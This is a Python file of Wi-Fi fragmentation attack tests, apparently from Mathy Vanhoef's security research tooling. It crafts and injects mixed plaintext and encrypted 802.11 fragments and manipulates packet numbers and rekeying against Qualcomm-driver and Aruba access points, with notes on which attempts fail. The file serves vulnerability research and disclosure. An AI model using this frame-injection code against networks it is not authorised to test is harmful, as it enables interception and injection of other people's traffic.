# Copyright (c) 2020, Mathy Vanhoef # # This code may be distributed under the terms of the BSD license. # See README for more details. from fraginternals import * class QcaDriverTest(Test): """ Against the Aruba AP we cannot send a normal frame between two fragments. Reverse engineering showed that the normal frame causes the fragment cache to be cleared on the AP, even before the raw fragment(s) are forwarded to the controller. We tried to work around this by injecting the normal frame (e.g. an EAPOL frame we want to inject in between fragments) as a fragmented frame as well. As a result, the fragment cache will not be cleared. Although the above avoids the fragment cache from being cleared, the Aruba AP still may not reassemble the fragments. This is because the second fragment may now have a higher packet number compared to the fragmented frames we injected in between (it seems no per-QoS replay counter is being used by them). So we must assure packet numbers are higher than the previous frame(s) NOT at the time of reception, but at the time of defragmentation (i.e. once all fragments arrived). But even with all this, the big issue is that the AP will queue all frames untill all fragments are collected. So the very first fragment we inject, will only arrive at the AP *after* the other fragments. And that makes this technique fairly useless. We tried to work around this in another way in QcaDriverSplit(). """ def __init__(self): super().__init__([Action(Action.Connected, Action.GetIp), Action(Action.Connected, enc=True, inc_pn=2, delay=0.2), # 102 Action(Action.Connected, enc=True, inc_pn=-2), # 100 Action(Action.Connected, enc=True, inc_pn=1), # 101 Action(Action.Connected, enc=True, inc_pn=2, delay=2)]) # 103 self.check_fn = None def check(self, p): if self.check_fn == None: return False return self.check_fn(p) def prepare(self, station): log(STATUS, "Generating QCA driver test", color="green") # Generate the header and payload header1, request1, self.check_fn = generate_request(station, REQ_ICMP, prior=2) header2, request2, self.check_fn = generate_request(station, REQ_ICMP, prior=4) header1.SC = 10 << 4 header2.SC = 20 << 4 # Generate all the individual (fragmented) frames frames1 = create_fragments(header1, request1, 2) frames2 = create_fragments(header2, request2, 2) self.actions[0].frame = frames1[0] self.actions[1].frame = frames2[0] self.actions[2].frame = frames2[1] self.actions[3].frame = frames1[1] class QcaTestSplit(Test): """ Mixed encrypted and plaintext are both queued in ol_rx_reorder_store_frag, and both forwarded when all fragments are collected. So the idea is to send one fragment in plaintext, and one encrypted, under the same sequence number. This will cause ol_rx_reorder_store_frag to forward both fragments to the controller that will perform the actual defragmentation. Essential remarks: - Sending [Encrypted, Plaintext] and [Plaintext, Encrypted] failed. It is not clear why this is the case. It could be that the second Plaintext fragment might be overwriting the first Encrypted fragment. And it depends on whether the controller rejects plaintext fragments. - You must send [Plaintext, Encrypted2] and [Encrypted1, Plaintext]. Note that we first inject Encrypted2, which has a *higher* packet number than Encrypted1. Without adhering to this order, the fragments will not be reassembled. - The Packet Number of the frame injected in between the two fragment pairs must be *lower* than the Packet Numbers of both Encrypted fragments. Otherwise the fragments will not be reassembled. This means the fragmented frames are processed after the full frame! So the first encrypted fragment does not seem to be immediately decrypted... this is problematic for the rekey attack, since it seems both fragments are only processed once they are both at the controller as well. - This test currently requires manual verification in Wireshark to assure that a reply is received to *BOTH* pings. - At the controller, two fragments with a different QoS TID will be reassembled. So only the sequence number matters. This is in constrast with the AP where the TID does influence the queue a fragment is put on. So the defragmentation code (and the queue design) is different between the AP and controller. """ def __init__(self): super().__init__([Action(Action.Connected, Action.GetIp), Action(Action.Connected, enc=False, delay=0.2), # 100 (dropped b/c plaintext) Action(Action.Connected, enc=True, inc_pn=5), # 105 Action(Action.Connected, enc=True, inc_pn=-2), # 103 Action(Action.Connected, enc=True, inc_pn=1), # 104 Action(Action.Connected, enc=False)]) # 112 (dropped b plaintext) self.check_fn = None def check(self, p): if self.check_fn == None: return False return self.check_fn(p) def prepare(self, station): log(STATUS, "Generating QCA driver test", color="green") # Generate the header and payload header1, request1, self.check_fn = generate_request(station, REQ_ICMP, prior=2) header2, request2, self.check_fn = generate_request(station, REQ_ICMP, prior=2) header1.SC = 10 << 4 header2.SC = 10 << 4 # Generate all the individual (fragmented) frames frames1 = create_fragments(header1, request1 / Raw(b"1"), 2) frames2 = create_fragments(header2, request2 / Raw(b"2"), 2) self.actions[0].frame = frames1[0] self.actions[1].frame = frames2[1] self.actions[3].frame = frames2[0] self.actions[4].frame = frames1[1] self.actions[0].frame.TID = 4 self.actions[1].frame.TID = 4 self.actions[3].frame.TID = 6 self.actions[4].frame.TID = 6 # Frame to put in between them if False: self.actions[2].frame = station.get_header(seqnum=11, prior=4)/LLC()/SNAP()/IP() else: header, request, self.check_fn = generate_request(station, REQ_ICMP, prior=2) header.SC = 11 << 4 self.actions[2].frame = header/request/Raw(b"3") #self.actions[2].frame.addr3 = "ff:ff:ff:ff:ff:ff" class QcaDriverRekey(Test): """ This attack fails because of the reasons discussed in QcaDriverSplit(). Summarized, the two fragments still seem to be queued by the controller, meaning they are likely both still decrypted using the same (new) key. """ def __init__(self): super().__init__([Action(Action.Connected, Action.GetIp), Action(Action.Connected, Action.Rekey), Action(Action.BeforeAuth, enc=False, delay=0.2), # | dropped b/c plaintext Action(Action.BeforeAuth, enc=True, inc_pn=5), # 105 | first fragment of ping Action(Action.BeforeAuth, func=self.save_msg4), # | Save Msg4 so we control PN Action(Action.BeforeAuth, enc=True, inc_pn=-2), # 103 | Msg4 Action(Action.BeforeAuth, func=self.get_key), # | We get the new key immediately Action(Action.BeforeAuth, enc=True, inc_pn=1), # 104 | second fragment of ping Action(Action.BeforeAuth, enc=False)]) # | dropped b plaintext self.check_fn = None def save_msg4(self, station, eapol): header = station.get_header(prior=4) header.SC = 11 << 4 payload = LLC()/SNAP()/eapol # Only the last BeforeAuth trigger is remaining self.actions[0].frame = header/payload def get_key(self, station, eapol): station.update_keys() # Prevent Station code from sending the EAPOL frame return True def check(self, p): if self.check_fn == None: return False return self.check_fn(p) def prepare(self, station): log(STATUS, "Generating QCA driver test", color="green") # Generate the header and payload header1, request1, self.check_fn = generate_request(station, REQ_ICMP, prior=2) header2, request2, self.check_fn = generate_request(station, REQ_ICMP, prior=2) header1.SC = 10 << 4 header2.SC = 10 << 4 # Generate all the individual (fragmented) frames frames1 = create_fragments(header1, request1 / Raw(b"1"), 2) frames2 = create_fragments(header2, request2 / Raw(b"2"), 2) # All Connected actions have been popped by now self.actions[0].frame = frames1[0] # hopefully dropped self.actions[1].frame = frames2[1] self.actions[5].frame = frames2[0] self.actions[6].frame = frames1[1] # hopefully dropped